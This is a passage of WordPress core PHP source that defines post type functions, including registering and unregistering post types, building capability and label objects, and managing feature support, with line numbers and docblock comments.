1027 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
1028 * Conditional Tags} article in the Theme Developer Handbook.
1029 *
1030 * @since 3.0.0
1031 *
1032 * @see get_post_type_object()
1033 *
1034 * @param string $post_type Post type name.
1035 * @return bool Whether post type is registered.
1036 */
1037function post_type_exists( $post_type ) {
1038 return (bool) get_post_type_object( $post_type );
1039}
1040
1041/**
1042 * Retrieves the post type of the current post or of a given post.
1043 *
1044 * @since 2.1.0
1045 *
1046 * @param int|WP_Post|null $post Optional. Post ID or post object. Default is global $post.
1047 * @return string|false Post type on success, false on failure.
1048 */
1049function get_post_type( $post = null ) {
1050 if ( $post = get_post( $post ) )
1051 return $post->post_type;
1052
1053 return false;
1054}
1055
1056/**
1057 * Retrieves a post type object by name.
1058 *
1059 * @since 3.0.0
1060 * @since 4.6.0 Object returned is now an instance of WP_Post_Type.
1061 *
1062 * @global array $wp_post_types List of post types.
1063 *
1064 * @see register_post_type()
1065 *
1066 * @param string $post_type The name of a registered post type.
1067 * @return WP_Post_Type|null WP_Post_Type object if it exists, null otherwise.
1068 */
1069function get_post_type_object( $post_type ) {
1070 global $wp_post_types;
1071
1072 if ( ! is_scalar( $post_type ) || empty( $wp_post_types[ $post_type ] ) ) {
1073 return null;
1074 }
1075
1076 return $wp_post_types[ $post_type ];
1077}
1078
1079/**
1080 * Get a list of all registered post type objects.
1081 *
1082 * @since 2.9.0
1083 *
1084 * @global array $wp_post_types List of post types.
1085 *
1086 * @see register_post_type() for accepted arguments.
1087 *
1088 * @param array|string $args Optional. An array of key => value arguments to match against
1089 * the post type objects. Default empty array.
1090 * @param string $output Optional. The type of output to return. Accepts post type 'names'
1091 * or 'objects'. Default 'names'.
1092 * @param string $operator Optional. The logical operation to perform. 'or' means only one
1093 * element from the array needs to match; 'and' means all elements
1094 * must match; 'not' means no elements may match. Default 'and'.
1095 * @return array A list of post type names or objects.
1096 */
1097function get_post_types( $args = array(), $output = 'names', $operator = 'and' ) {
1098 global $wp_post_types;
1099
1100 $field = ('names' == $output) ? 'name' : false;
1101
1102 return wp_filter_object_list($wp_post_types, $args, $operator, $field);
1103}
1104
1105/**
1106 * Registers a post type.
1107 *
1108 * Note: Post type registrations should not be hooked before the
1109 * {@see 'init'} action. Also, any taxonomy connections should be
1110 * registered via the `$taxonomies` argument to ensure consistency
1111 * when hooks such as {@see 'parse_query'} or {@see 'pre_get_posts'}
1112 * are used.
1113 *
1114 * Post types can support any number of built-in core features such
1115 * as meta boxes, custom fields, post thumbnails, post statuses,
1116 * comments, and more. See the `$supports` argument for a complete
1117 * list of supported features.
1118 *
1119 * @since 2.9.0
1120 * @since 3.0.0 The `show_ui` argument is now enforced on the new post screen.
1121 * @since 4.4.0 The `show_ui` argument is now enforced on the post type listing
1122 * screen and post editing screen.
1123 * @since 4.6.0 Post type object returned is now an instance of WP_Post_Type.
1124 * @since 4.7.0 Introduced `show_in_rest`, 'rest_base' and 'rest_controller_class'
1125 * arguments to register the post type in REST API.
1126 *
1127 * @global array $wp_post_types List of post types.
1128 *
1129 * @param string $post_type Post type key. Must not exceed 20 characters and may
1130 * only contain lowercase alphanumeric characters, dashes,
1131 * and underscores. See sanitize_key().
1132 * @param array|string $args {
1133 * Array or string of arguments for registering a post type.
1134 *
1135 * @type string $label Name of the post type shown in the menu. Usually plural.
1136 * Default is value of $labels['name'].
1137 * @type array $labels An array of labels for this post type. If not set, post
1138 * labels are inherited for non-hierarchical types and page
1139 * labels for hierarchical ones. See get_post_type_labels() for a full
1140 * list of supported labels.
1141 * @type string $description A short descriptive summary of what the post type is.
1142 * Default empty.
1143 * @type bool $public Whether a post type is intended for use publicly either via
1144 * the admin interface or by front-end users. While the default
1145 * settings of $exclude_from_search, $publicly_queryable, $show_ui,
1146 * and $show_in_nav_menus are inherited from public, each does not
1147 * rely on this relationship and controls a very specific intention.
1148 * Default false.
1149 * @type bool $hierarchical Whether the post type is hierarchical (e.g. page). Default false.
1150 * @type bool $exclude_from_search Whether to exclude posts with this post type from front end search
1151 * results. Default is the opposite value of $public.
1152 * @type bool $publicly_queryable Whether queries can be performed on the front end for the post type
1153 * as part of parse_request(). Endpoints would include:
1154 * * ?post_type={post_type_key}
1155 * * ?{post_type_key}={single_post_slug}
1156 * * ?{post_type_query_var}={single_post_slug}
1157 * If not set, the default is inherited from $public.
1158 * @type bool $show_ui Whether to generate and allow a UI for managing this post type in the
1159 * admin. Default is value of $public.
1160 * @type bool $show_in_menu Where to show the post type in the admin menu. To work, $show_ui
1161 * must be true. If true, the post type is shown in its own top level
1162 * menu. If false, no menu is shown. If a string of an existing top
1163 * level menu (eg. 'tools.php' or 'edit.php?post_type=page'), the post
1164 * type will be placed as a sub-menu of that.
1165 * Default is value of $show_ui.
1166 * @type bool $show_in_nav_menus Makes this post type available for selection in navigation menus.
1167 * Default is value $public.
1168 * @type bool $show_in_admin_bar Makes this post type available via the admin bar. Default is value
1169 * of $show_in_menu.
1170 * @type bool $show_in_rest Whether to add the post type route in the REST API 'wp/v2' namespace.
1171 * @type string $rest_base To change the base url of REST API route. Default is $post_type.
1172 * @type string $rest_controller_class REST API Controller class name. Default is 'WP_REST_Posts_Controller'.
1173 * @type int $menu_position The position in the menu order the post type should appear. To work,
1174 * $show_in_menu must be true. Default null (at the bottom).
1175 * @type string $menu_icon The url to the icon to be used for this menu. Pass a base64-encoded
1176 * SVG using a data URI, which will be colored to match the color scheme
1177 * -- this should begin with 'data:image/svg+xml;base64,'. Pass the name
1178 * of a Dashicons helper class to use a font icon, e.g.
1179 * 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty
1180 * so an icon can be added via CSS. Defaults to use the posts icon.
1181 * @type string $capability_type The string to use to build the read, edit, and delete capabilities.
1182 * May be passed as an array to allow for alternative plurals when using
1183 * this argument as a base to construct the capabilities, e.g.
1184 * array('story', 'stories'). Default 'post'.
1185 * @type array $capabilities Array of capabilities for this post type. $capability_type is used
1186 * as a base to construct capabilities by default.
1187 * See get_post_type_capabilities().
1188 * @type bool $map_meta_cap Whether to use the internal default meta capability handling.
1189 * Default false.
1190 * @type array $supports Core feature(s) the post type supports. Serves as an alias for calling
1191 * add_post_type_support() directly. Core features include 'title',
1192 * 'editor', 'comments', 'revisions', 'trackbacks', 'author', 'excerpt',
1193 * 'page-attributes', 'thumbnail', 'custom-fields', and 'post-formats'.
1194 * Additionally, the 'revisions' feature dictates whether the post type
1195 * will store revisions, and the 'comments' feature dictates whether the
1196 * comments count will show on the edit screen. Defaults is an array
1197 * containing 'title' and 'editor'.
1198 * @type callable $register_meta_box_cb Provide a callback function that sets up the meta boxes for the
1199 * edit form. Do remove_meta_box() and add_meta_box() calls in the
1200 * callback. Default null.
1201 * @type array $taxonomies An array of taxonomy identifiers that will be registered for the
1202 * post type. Taxonomies can be registered later with register_taxonomy()
1203 * or register_taxonomy_for_object_type().
1204 * Default empty array.
1205 * @type bool|string $has_archive Whether there should be post type archives, or if a string, the
1206 * archive slug to use. Will generate the proper rewrite rules if
1207 * $rewrite is enabled. Default false.
1208 * @type bool|array $rewrite {
1209 * Triggers the handling of rewrites for this post type. To prevent rewrite, set to false.
1210 * Defaults to true, using $post_type as slug. To specify rewrite rules, an array can be
1211 * passed with any of these keys:
1212 *
1213 * @type string $slug Customize the permastruct slug. Defaults to $post_type key.
1214 * @type bool $with_front Whether the permastruct should be prepended with WP_Rewrite::$front.
1215 * Default true.
1216 * @type bool $feeds Whether the feed permastruct should be built for this post type.
1217 * Default is value of $has_archive.
1218 * @type bool $pages Whether the permastruct should provide for pagination. Default true.
1219 * @type const $ep_mask Endpoint mask to assign. If not specified and permalink_epmask is set,
1220 * inherits from $permalink_epmask. If not specified and permalink_epmask
1221 * is not set, defaults to EP_PERMALINK.
1222 * }
1223 * @type string|bool $query_var Sets the query_var key for this post type. Defaults to $post_type
1224 * key. If false, a post type cannot be loaded at
1225 * ?{query_var}={post_slug}. If specified as a string, the query
1226 * ?{query_var_string}={post_slug} will be valid.
1227 * @type bool $can_export Whether to allow this post type to be exported. Default true.
1228 * @type bool $delete_with_user Whether to delete posts of this type when deleting a user. If true,
1229 * posts of this type belonging to the user will be moved to trash
1230 * when then user is deleted. If false, posts of this type belonging
1231 * to the user will *not* be trashed or deleted. If not set (the default),
1232 * posts are trashed if post_type_supports('author'). Otherwise posts
1233 * are not trashed or deleted. Default null.
1234 * @type bool $_builtin FOR INTERNAL USE ONLY! True if this post type is a native or
1235 * "built-in" post_type. Default false.
1236 * @type string $_edit_link FOR INTERNAL USE ONLY! URL segment to use for edit link of
1237 * this post type. Default 'post.php?post=%d'.
1238 * }
1239 * @return WP_Post_Type|WP_Error The registered post type object, or an error object.
1240 */
1241function register_post_type( $post_type, $args = array() ) {
1242 global $wp_post_types;
1243
1244 if ( ! is_array( $wp_post_types ) ) {
1245 $wp_post_types = array();
1246 }
1247
1248 // Sanitize post type name
1249 $post_type = sanitize_key( $post_type );
1250
1251 if ( empty( $post_type ) || strlen( $post_type ) > 20 ) {
1252 _doing_it_wrong( __FUNCTION__, __( 'Post type names must be between 1 and 20 characters in length.' ), '4.2.0' );
1253 return new WP_Error( 'post_type_length_invalid', __( 'Post type names must be between 1 and 20 characters in length.' ) );
1254 }
1255
1256 $post_type_object = new WP_Post_Type( $post_type, $args );
1257 $post_type_object->add_supports();
1258 $post_type_object->add_rewrite_rules();
1259 $post_type_object->register_meta_boxes();
1260
1261 $wp_post_types[ $post_type ] = $post_type_object;
1262
1263 $post_type_object->add_hooks();
1264 $post_type_object->register_taxonomies();
1265
1266 /**
1267 * Fires after a post type is registered.
1268 *
1269 * @since 3.3.0
1270 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
1271 *
1272 * @param string $post_type Post type.
1273 * @param WP_Post_Type $post_type_object Arguments used to register the post type.
1274 */
1275 do_action( 'registered_post_type', $post_type, $post_type_object );
1276
1277 return $post_type_object;
1278}
1279
1280/**
1281 * Unregisters a post type.
1282 *
1283 * Can not be used to unregister built-in post types.
1284 *
1285 * @since 4.5.0
1286 *
1287 * @global array $wp_post_types List of post types.
1288 *
1289 * @param string $post_type Post type to unregister.
1290 * @return bool|WP_Error True on success, WP_Error on failure or if the post type doesn't exist.
1291 */
1292function unregister_post_type( $post_type ) {
1293 global $wp_post_types;
1294
1295 if ( ! post_type_exists( $post_type ) ) {
1296 return new WP_Error( 'invalid_post_type', __( 'Invalid post type.' ) );
1297 }
1298
1299 $post_type_object = get_post_type_object( $post_type );
1300
1301 // Do not allow unregistering internal post types.
1302 if ( $post_type_object->_builtin ) {
1303 return new WP_Error( 'invalid_post_type', __( 'Unregistering a built-in post type is not allowed' ) );
1304 }
1305
1306 $post_type_object->remove_supports();
1307 $post_type_object->remove_rewrite_rules();
1308 $post_type_object->unregister_meta_boxes();
1309 $post_type_object->remove_hooks();
1310 $post_type_object->unregister_taxonomies();
1311
1312 unset( $wp_post_types[ $post_type ] );
1313
1314 /**
1315 * Fires after a post type was unregistered.
1316 *
1317 * @since 4.5.0
1318 *
1319 * @param string $post_type Post type key.
1320 */
1321 do_action( 'unregistered_post_type', $post_type );
1322
1323 return true;
1324}
1325
1326/**
1327 * Build an object with all post type capabilities out of a post type object
1328 *
1329 * Post type capabilities use the 'capability_type' argument as a base, if the
1330 * capability is not set in the 'capabilities' argument array or if the
1331 * 'capabilities' argument is not supplied.
1332 *
1333 * The capability_type argument can optionally be registered as an array, with
1334 * the first value being singular and the second plural, e.g. array('story, 'stories')
1335 * Otherwise, an 's' will be added to the value for the plural form. After
1336 * registration, capability_type will always be a string of the singular value.
1337 *
1338 * By default, seven keys are accepted as part of the capabilities array:
1339 *
1340 * - edit_post, read_post, and delete_post are meta capabilities, which are then
1341 * generally mapped to corresponding primitive capabilities depending on the
1342 * context, which would be the post being edited/read/deleted and the user or
1343 * role being checked. Thus these capabilities would generally not be granted
1344 * directly to users or roles.
1345 *
1346 * - edit_posts - Controls whether objects of this post type can be edited.
1347 * - edit_others_posts - Controls whether objects of this type owned by other users
1348 * can be edited. If the post type does not support an author, then this will
1349 * behave like edit_posts.
1350 * - publish_posts - Controls publishing objects of this post type.
1351 * - read_private_posts - Controls whether private objects can be read.
1352 *
1353 * These four primitive capabilities are checked in core in various locations.
1354 * There are also seven other primitive capabilities which are not referenced
1355 * directly in core, except in map_meta_cap(), which takes the three aforementioned
1356 * meta capabilities and translates them into one or more primitive capabilities
1357 * that must then be checked against the user or role, depending on the context.
1358 *
1359 * - read - Controls whether objects of this post type can be read.
1360 * - delete_posts - Controls whether objects of this post type can be deleted.
1361 * - delete_private_posts - Controls whether private objects can be deleted.
1362 * - delete_published_posts - Controls whether published objects can be deleted.
1363 * - delete_others_posts - Controls whether objects owned by other users can be
1364 * can be deleted. If the post type does not support an author, then this will
1365 * behave like delete_posts.
1366 * - edit_private_posts - Controls whether private objects can be edited.
1367 * - edit_published_posts - Controls whether published objects can be edited.
1368 *
1369 * These additional capabilities are only used in map_meta_cap(). Thus, they are
1370 * only assigned by default if the post type is registered with the 'map_meta_cap'
1371 * argument set to true (default is false).
1372 *
1373 * @since 3.0.0
1374 *
1375 * @see register_post_type()
1376 * @see map_meta_cap()
1377 *
1378 * @param object $args Post type registration arguments.
1379 * @return object Object with all the capabilities as member variables.
1380 */
1381function get_post_type_capabilities( $args ) {
1382 if ( ! is_array( $args->capability_type ) )
1383 $args->capability_type = array( $args->capability_type, $args->capability_type . 's' );
1384
1385 // Singular base for meta capabilities, plural base for primitive capabilities.
1386 list( $singular_base, $plural_base ) = $args->capability_type;
1387
1388 $default_capabilities = array(
1389 // Meta capabilities
1390 'edit_post' => 'edit_' . $singular_base,
1391 'read_post' => 'read_' . $singular_base,
1392 'delete_post' => 'delete_' . $singular_base,
1393 // Primitive capabilities used outside of map_meta_cap():
1394 'edit_posts' => 'edit_' . $plural_base,
1395 'edit_others_posts' => 'edit_others_' . $plural_base,
1396 'publish_posts' => 'publish_' . $plural_base,
1397 'read_private_posts' => 'read_private_' . $plural_base,
1398 );
1399
1400 // Primitive capabilities used within map_meta_cap():
1401 if ( $args->map_meta_cap ) {
1402 $default_capabilities_for_mapping = array(
1403 'read' => 'read',
1404 'delete_posts' => 'delete_' . $plural_base,
1405 'delete_private_posts' => 'delete_private_' . $plural_base,
1406 'delete_published_posts' => 'delete_published_' . $plural_base,
1407 'delete_others_posts' => 'delete_others_' . $plural_base,
1408 'edit_private_posts' => 'edit_private_' . $plural_base,
1409 'edit_published_posts' => 'edit_published_' . $plural_base,
1410 );
1411 $default_capabilities = array_merge( $default_capabilities, $default_capabilities_for_mapping );
1412 }
1413
1414 $capabilities = array_merge( $default_capabilities, $args->capabilities );
1415
1416 // Post creation capability simply maps to edit_posts by default:
1417 if ( ! isset( $capabilities['create_posts'] ) )
1418 $capabilities['create_posts'] = $capabilities['edit_posts'];
1419
1420 // Remember meta capabilities for future reference.
1421 if ( $args->map_meta_cap )
1422 _post_type_meta_capabilities( $capabilities );
1423
1424 return (object) $capabilities;
1425}
1426
1427/**
1428 * Store or return a list of post type meta caps for map_meta_cap().
1429 *
1430 * @since 3.1.0
1431 * @access private
1432 *
1433 * @global array $post_type_meta_caps Used to store meta capabilities.
1434 *
1435 * @param array $capabilities Post type meta capabilities.
1436 */
1437function _post_type_meta_capabilities( $capabilities = null ) {
1438 global $post_type_meta_caps;
1439
1440 foreach ( $capabilities as $core => $custom ) {
1441 if ( in_array( $core, array( 'read_post', 'delete_post', 'edit_post' ) ) ) {
1442 $post_type_meta_caps[ $custom ] = $core;
1443 }
1444 }
1445}
1446
1447/**
1448 * Builds an object with all post type labels out of a post type object.
1449 *
1450 * Accepted keys of the label array in the post type object:
1451 *
1452 * - `name` - General name for the post type, usually plural. The same and overridden
1453 * by `$post_type_object->label`. Default is 'Posts' / 'Pages'.
1454 * - `singular_name` - Name for one object of this post type. Default is 'Post' / 'Page'.
1455 * - `add_new` - Default is 'Add New' for both hierarchical and non-hierarchical types.
1456 * When internationalizing this string, please use a {@link https://codex.wordpress.org/I18n_for_WordPress_Developers#Disambiguation_by_context gettext context}
1457 * matching your post type. Example: `_x( 'Add New', 'product', 'textdomain' );`.
1458 * - `add_new_item` - Label for adding a new singular item. Default is 'Add New Post' / 'Add New Page'.
1459 * - `edit_item` - Label for editing a singular item. Default is 'Edit Post' / 'Edit Page'.
1460 * - `new_item` - Label for the new item page title. Default is 'New Post' / 'New Page'.
1461 * - `view_item` - Label for viewing a singular item. Default is 'View Post' / 'View Page'.
1462 * - `view_items` - Label for viewing post type archives. Default is 'View Posts' / 'View Pages'.
1463 * - `search_items` - Label for searching plural items. Default is 'Search Posts' / 'Search Pages'.
1464 * - `not_found` - Label used when no items are found. Default is 'No posts found' / 'No pages found'.
1465 * - `not_found_in_trash` - Label used when no items are in the trash. Default is 'No posts found in Trash' /
1466 * 'No pages found in Trash'.
1467 * - `parent_item_colon` - Label used to prefix parents of hierarchical items. Not used on non-hierarchical
1468 * post types. Default is 'Parent Page:'.
1469 * - `all_items` - Label to signify all items in a submenu link. Default is 'All Posts' / 'All Pages'.
1470 * - `archives` - Label for archives in nav menus. Default is 'Post Archives' / 'Page Archives'.
1471 * - `attributes` - Label for the attributes meta box. Default is 'Post Attributes' / 'Page Attributes'.
1472 * - `insert_into_item` - Label for the media frame button. Default is 'Insert into post' / 'Insert into page'.
1473 * - `uploaded_to_this_item` - Label for the media frame filter. Default is 'Uploaded to this post' /
1474 * 'Uploaded to this page'.
1475 * - `featured_image` - Label for the Featured Image meta box title. Default is 'Featured Image'.
1476 * - `set_featured_image` - Label for setting the featured image. Default is 'Set featured image'.
1477 * - `remove_featured_image` - Label for removing the featured image. Default is 'Remove featured image'.
1478 * - `use_featured_image` - Label in the media frame for using a featured image. Default is 'Use as featured image'.
1479 * - `menu_name` - Label for the menu name. Default is the same as `name`.
1480 * - `filter_items_list` - Label for the table views hidden heading. Default is 'Filter posts list' /
1481 * 'Filter pages list'.
1482 * - `items_list_navigation` - Label for the table pagination hidden heading. Default is 'Posts list navigation' /
1483 * 'Pages list navigation'.
1484 * - `items_list` - Label for the table hidden heading. Default is 'Posts list' / 'Pages list'.
1485 * - `item_published` - Label used when an item is published. Default is 'Post published.' / 'Page published.'
1486 * - `item_published_privately` - Label used when an item is published with private visibility.
1487 * Default is 'Post published privately.' / 'Page published privately.'
1488 * - `item_reverted_to_draft` - Label used when an item is switched to a draft.
1489 * Default is 'Post reverted to draft.' / 'Page reverted to draft.'
1490 * - `item_scheduled` - Label used when an item is scheduled for publishing. Default is 'Post scheduled.' /
1491 * 'Page scheduled.'
1492 * - `item_updated` - Label used when an item is updated. Default is 'Post updated.' / 'Page updated.'
1493 *
1494 * Above, the first default value is for non-hierarchical post types (like posts)
1495 * and the second one is for hierarchical post types (like pages).
1496 *
1497 * Note: To set labels used in post type admin notices, see the {@see 'post_updated_messages'} filter.
1498 *
1499 * @since 3.0.0
1500 * @since 4.3.0 Added the `featured_image`, `set_featured_image`, `remove_featured_image`,
1501 * and `use_featured_image` labels.
1502 * @since 4.4.0 Added the `archives`, `insert_into_item`, `uploaded_to_this_item`, `filter_items_list`,
1503 * `items_list_navigation`, and `items_list` labels.
1504 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
1505 * @since 4.7.0 Added the `view_items` and `attributes` labels.
1506 * @since 5.0.0 Added the `item_published`, `item_published_privately`, `item_reverted_to_draft`,
1507 * `item_scheduled`, and `item_updated` labels.
1508 *
1509 * @access private
1510 *
1511 * @param object|WP_Post_Type $post_type_object Post type object.
1512 * @return object Object with all the labels as member variables.
1513 */
1514function get_post_type_labels( $post_type_object ) {
1515 $nohier_vs_hier_defaults = array(
1516 'name' => array( _x('Posts', 'post type general name'), _x('Pages', 'post type general name') ),
1517 'singular_name' => array( _x('Post', 'post type singular name'), _x('Page', 'post type singular name') ),
1518 'add_new' => array( _x('Add New', 'post'), _x('Add New', 'page') ),
1519 'add_new_item' => array( __('Add New Post'), __('Add New Page') ),
1520 'edit_item' => array( __('Edit Post'), __('Edit Page') ),
1521 'new_item' => array( __('New Post'), __('New Page') ),
1522 'view_item' => array( __('View Post'), __('View Page') ),
1523 'view_items' => array( __('View Posts'), __('View Pages') ),
1524 'search_items' => array( __('Search Posts'), __('Search Pages') ),
1525 'not_found' => array( __('No posts found.'), __('No pages found.') ),
1526 'not_found_in_trash' => array( __('No posts found in Trash.'), __('No pages found in Trash.') ),
1527 'parent_item_colon' => array( null, __('Parent Page:') ),
1528 'all_items' => array( __( 'All Posts' ), __( 'All Pages' ) ),
1529 'archives' => array( __( 'Post Archives' ), __( 'Page Archives' ) ),
1530 'attributes' => array( __( 'Post Attributes' ), __( 'Page Attributes' ) ),
1531 'insert_into_item' => array( __( 'Insert into post' ), __( 'Insert into page' ) ),
1532 'uploaded_to_this_item' => array( __( 'Uploaded to this post' ), __( 'Uploaded to this page' ) ),
1533 'featured_image' => array( _x( 'Featured Image', 'post' ), _x( 'Featured Image', 'page' ) ),
1534 'set_featured_image' => array( _x( 'Set featured image', 'post' ), _x( 'Set featured image', 'page' ) ),
1535 'remove_featured_image' => array( _x( 'Remove featured image', 'post' ), _x( 'Remove featured image', 'page' ) ),
1536 'use_featured_image' => array( _x( 'Use as featured image', 'post' ), _x( 'Use as featured image', 'page' ) ),
1537 'filter_items_list' => array( __( 'Filter posts list' ), __( 'Filter pages list' ) ),
1538 'items_list_navigation' => array( __( 'Posts list navigation' ), __( 'Pages list navigation' ) ),
1539 'items_list' => array( __( 'Posts list' ), __( 'Pages list' ) ),
1540 'item_published' => array( __( 'Post published.' ), __( 'Page published.' ) ),
1541 'item_published_privately' => array( __( 'Post published privately.' ), __( 'Page published privately.' ) ),
1542 'item_reverted_to_draft' => array( __( 'Post reverted to draft.' ), __( 'Page reverted to draft.' ) ),
1543 'item_scheduled' => array( __( 'Post scheduled.' ), __( 'Page scheduled.' ) ),
1544 'item_updated' => array( __( 'Post updated.' ), __( 'Page updated.' ) ),
1545 );
1546 $nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name'];
1547
1548 $labels = _get_custom_object_labels( $post_type_object, $nohier_vs_hier_defaults );
1549
1550 $post_type = $post_type_object->name;
1551
1552 $default_labels = clone $labels;
1553
1554 /**
1555 * Filters the labels of a specific post type.
1556 *
1557 * The dynamic portion of the hook name, `$post_type`, refers to
1558 * the post type slug.
1559 *
1560 * @since 3.5.0
1561 *
1562 * @see get_post_type_labels() for the full list of labels.
1563 *
1564 * @param object $labels Object with labels for the post type as member variables.
1565 */
1566 $labels = apply_filters( "post_type_labels_{$post_type}", $labels );
1567
1568 // Ensure that the filtered labels contain all required default values.
1569 $labels = (object) array_merge( (array) $default_labels, (array) $labels );
1570
1571 return $labels;
1572}
1573
1574/**
1575 * Build an object with custom-something object (post type, taxonomy) labels
1576 * out of a custom-something object
1577 *
1578 * @since 3.0.0
1579 * @access private
1580 *
1581 * @param object $object A custom-something object.
1582 * @param array $nohier_vs_hier_defaults Hierarchical vs non-hierarchical default labels.
1583 * @return object Object containing labels for the given custom-something object.
1584 */
1585function _get_custom_object_labels( $object, $nohier_vs_hier_defaults ) {
1586 $object->labels = (array) $object->labels;
1587
1588 if ( isset( $object->label ) && empty( $object->labels['name'] ) )
1589 $object->labels['name'] = $object->label;
1590
1591 if ( !isset( $object->labels['singular_name'] ) && isset( $object->labels['name'] ) )
1592 $object->labels['singular_name'] = $object->labels['name'];
1593
1594 if ( ! isset( $object->labels['name_admin_bar'] ) )
1595 $object->labels['name_admin_bar'] = isset( $object->labels['singular_name'] ) ? $object->labels['singular_name'] : $object->name;
1596
1597 if ( !isset( $object->labels['menu_name'] ) && isset( $object->labels['name'] ) )
1598 $object->labels['menu_name'] = $object->labels['name'];
1599
1600 if ( !isset( $object->labels['all_items'] ) && isset( $object->labels['menu_name'] ) )
1601 $object->labels['all_items'] = $object->labels['menu_name'];
1602
1603 if ( !isset( $object->labels['archives'] ) && isset( $object->labels['all_items'] ) ) {
1604 $object->labels['archives'] = $object->labels['all_items'];
1605 }
1606
1607 $defaults = array();
1608 foreach ( $nohier_vs_hier_defaults as $key => $value ) {
1609 $defaults[$key] = $object->hierarchical ? $value[1] : $value[0];
1610 }
1611 $labels = array_merge( $defaults, $object->labels );
1612 $object->labels = (object) $object->labels;
1613
1614 return (object) $labels;
1615}
1616
1617/**
1618 * Add submenus for post types.
1619 *
1620 * @access private
1621 * @since 3.1.0
1622 */
1623function _add_post_type_submenus() {
1624 foreach ( get_post_types( array( 'show_ui' => true ) ) as $ptype ) {
1625 $ptype_obj = get_post_type_object( $ptype );
1626 // Sub-menus only.
1627 if ( ! $ptype_obj->show_in_menu || $ptype_obj->show_in_menu === true )
1628 continue;
1629 add_submenu_page( $ptype_obj->show_in_menu, $ptype_obj->labels->name, $ptype_obj->labels->all_items, $ptype_obj->cap->edit_posts, "edit.php?post_type=$ptype" );
1630 }
1631}
1632
1633/**
1634 * Register support of certain features for a post type.
1635 *
1636 * All core features are directly associated with a functional area of the edit
1637 * screen, such as the editor or a meta box. Features include: 'title', 'editor',
1638 * 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', 'page-attributes',
1639 * 'thumbnail', 'custom-fields', and 'post-formats'.
1640 *
1641 * Additionally, the 'revisions' feature dictates whether the post type will
1642 * store revisions, and the 'comments' feature dictates whether the comments
1643 * count will show on the edit screen.
1644 *
1645 * @since 3.0.0
1646 *
1647 * @global array $_wp_post_type_features
1648 *
1649 * @param string $post_type The post type for which to add the feature.
1650 * @param string|array $feature The feature being added, accepts an array of
1651 * feature strings or a single string.
1652 */
1653function add_post_type_support( $post_type, $feature ) {
1654 global $_wp_post_type_features;
1655
1656 $features = (array) $feature;
1657 foreach ($features as $feature) {
1658 if ( func_num_args() == 2 )
1659 $_wp_post_type_features[$post_type][$feature] = true;
1660 else
1661 $_wp_post_type_features[$post_type][$feature] = array_slice( func_get_args(), 2 );
1662 }
1663}
1664
1665/**
1666 * Remove support for a feature from a post type.
1667 *
1668 * @since 3.0.0
1669 *
1670 * @global array $_wp_post_type_features
1671 *
1672 * @param string $post_type The post type for which to remove the feature.
1673 * @param string $feature The feature being removed.
1674 */
1675function remove_post_type_support( $post_type, $feature ) {
1676 global $_wp_post_type_features;
1677
1678 unset( $_wp_post_type_features[ $post_type ][ $feature ] );
1679}
1680
1681/**
1682 * Get all the post type features
1683 *
1684 * @since 3.4.0
1685 *
1686 * @global array $_wp_post_type_features
1687 *
1688 * @param string $post_type The post type.
1689 * @return array Post type supports list.
1690 */
1691function get_all_post_type_supports( $post_type ) {
1692 global $_wp_post_type_features;
1693
1694 if ( isset( $_wp_post_type_features[$post_type] ) )
1695 return $_wp_post_type_features[$post_type];
1696
1697 return array();
1698}
1699
1700/**
1701 * Check a post type's support for a given feature.
1702 *
1703 * @since 3.0.0
1704 *
1705 * @global array $_wp_post_type_features
1706 *
1707 * @param string $post_type The post type being checked.
1708 * @param string $feature The feature being checked.
1709 * @return bool Whether the post type supports the given feature.
1710 */
1711function post_type_supports( $post_type, $feature ) {
1712 global $_wp_post_type_features;
1713
1714 return ( isset( $_wp_post_type_features[$post_type][$feature] ) );
1715}
1716
1717/**
1718 * Retrieves a list of post type names that support a specific feature.
1719 *
1720 * @since 4.5.0
1721 *
1722 * @global array $_wp_post_type_features Post type features
1723 *
1724 * @param array|string $feature Single feature or an array of features the post types should support.
1725 * @param string $operator Optional. The logical operation to perform. 'or' means
1726 * only one element from the array needs to match; 'and'
1727 * means all elements must match; 'not' means no elements may
1728 * match. Default 'and'.
1729 * @return array A list of post type names.
1730 */
1731function get_post_types_by_support( $feature, $operator = 'and' ) {
1732 global $_wp_post_type_features;
1733
1734 $features = array_fill_keys( (array) $feature, true );
1735
1736 return array_keys( wp_filter_object_list( $_wp_post_type_features, $features, $operator ) );
1737}
1738
1739/**
1740 * Update the post type for the post ID.
1741 *
1742 * The page or post cache will be cleaned for the post ID.
1743 *
1744 * @since 2.5.0
1745 *
1746 * @global wpdb $wpdb WordPress database abstraction object.
1747 *
1748 * @param int $post_id Optional. Post ID to change post type. Default 0.
1749 * @param string $post_type Optional. Post type. Accepts 'post' or 'page' to
1750 * name a few. Default 'post'.
1751 * @return int|false Amount of rows changed. Should be 1 for success and 0 for failure.
1752 */
1753function set_post_type( $post_id = 0, $post_type = 'post' ) {
1754 global $wpdb;
1755
1756 $post_type = sanitize_post_field('post_type', $post_type, $post_id, 'db');
1757 $return = $wpdb->update( $wpdb->posts, array('post_type' => $post_type), array('ID' => $post_id) );
1758
1759 clean_post_cache( $post_id );
1760
1761 return $return;
1762}
1763
1764/**
1765 * Determines whether a post type is considered "viewable".
1766 *
1767 * For built-in post types such as posts and pages, the 'public' value will be evaluated.
1768 * For all others, the 'publicly_queryable' value will be used.
1769 *
1770 * @since 4.4.0
1771 * @since 4.5.0 Added the ability to pass a post type name in addition to object.
1772 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
1773 *
1774 * @param string|WP_Post_Type $post_type Post type name or object.
1775 * @return bool Whether the post type should be considered viewable.
1776 */
1777function is_post_type_viewable( $post_type ) {
1778 if ( is_scalar( $post_type ) ) {
1779 $post_type = get_post_type_object( $post_type );
1780 if ( ! $post_type ) {
1781 return false;
1782 }
1783 }
1784
1785 return $post_type->publicly_queryable || ( $post_type->_builtin && $post_type->public );
1786}
1787
1788/**
1789 * Retrieve list of latest posts or posts matching criteria.
1790 *
1791 * The defaults are as follows:
1792 *
1793 * @since 1.2.0
1794 *
1795 * @see WP_Query::parse_query()
1796 *
1797 * @param array $args {
1798 * Optional. Arguments to retrieve posts. See WP_Query::parse_query() for all
1799 * available arguments.
1800 *
